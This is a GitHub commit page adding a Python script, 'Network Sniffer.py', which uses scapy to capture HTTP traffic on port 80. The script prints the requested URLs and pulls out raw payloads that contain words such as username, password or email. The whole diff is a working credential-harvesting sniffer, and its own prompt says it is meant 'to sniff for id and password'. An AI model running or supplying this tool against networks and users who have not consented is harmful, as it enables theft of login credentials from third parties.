Skip to content

Commit d75f880

Browse files
authored
Network Sniffer
Network Sniffer
1 parent 16ce71f commit d75f880

File tree

2 files changed

+38
-0
lines changed

2 files changed

+38
-0
lines changed

Network Sniffer/Network Sniffer.py

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,38 @@
1+
#!/usr/bin/env python
2+
import scapy.all as scapy
3+
from scapy_http import http
4+
import os
5+
import sys
6+
interface = raw_input("[+] Enter your interface to sniff for id and password >>> ")
7+
def sniff(interface):
8+
# can be used on to filter packets :- scapy.sniff(iface=interface, store=False, prn=process_sniffed_packets, filter="port 80")
9+
print("[-] Sniffing has started it can take a while .......")
10+
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packets, filter="port 80")
11+
12+
def get_url(packet):
13+
return packet[http.HTTPRequest].Host +packet[http.HTTPRequest].Path
14+
15+
16+
def get_login_info(packet):
17+
load = packet[scapy.Raw].load
18+
keywords = ["username","user","login","password","pass","email"]
19+
for word in keywords:
20+
if word in load:
21+
return load
22+
23+
def process_sniffed_packets(packet):
24+
print("[-] Processing Request")
25+
if packet.haslayer(http.HTTPRequest):
26+
print("[-] Processing Request")
27+
if packet.haslayer(scapy.Raw):
28+
#print(packet.show())# show shows all fields in packet
29+
url = get_url(packet)
30+
print('[+] HTTP Request >> '+url)
31+
login_info = get_login_info(packet)
32+
if login_info:
33+
print("\n\n[+] Possible username/password "+ login_info + "\n\n")
34+
exit = str(raw_input("[-] Do you want to exit y/n >>> "))
35+
if exit == 'y':
36+
print("[+] Exiting ...... Bye")
37+
os._exit(1)
38+
sniff(interface)

Network Sniffer/sniffer.PNG

65.9 KB
Loading

0 commit comments

Comments
 (0)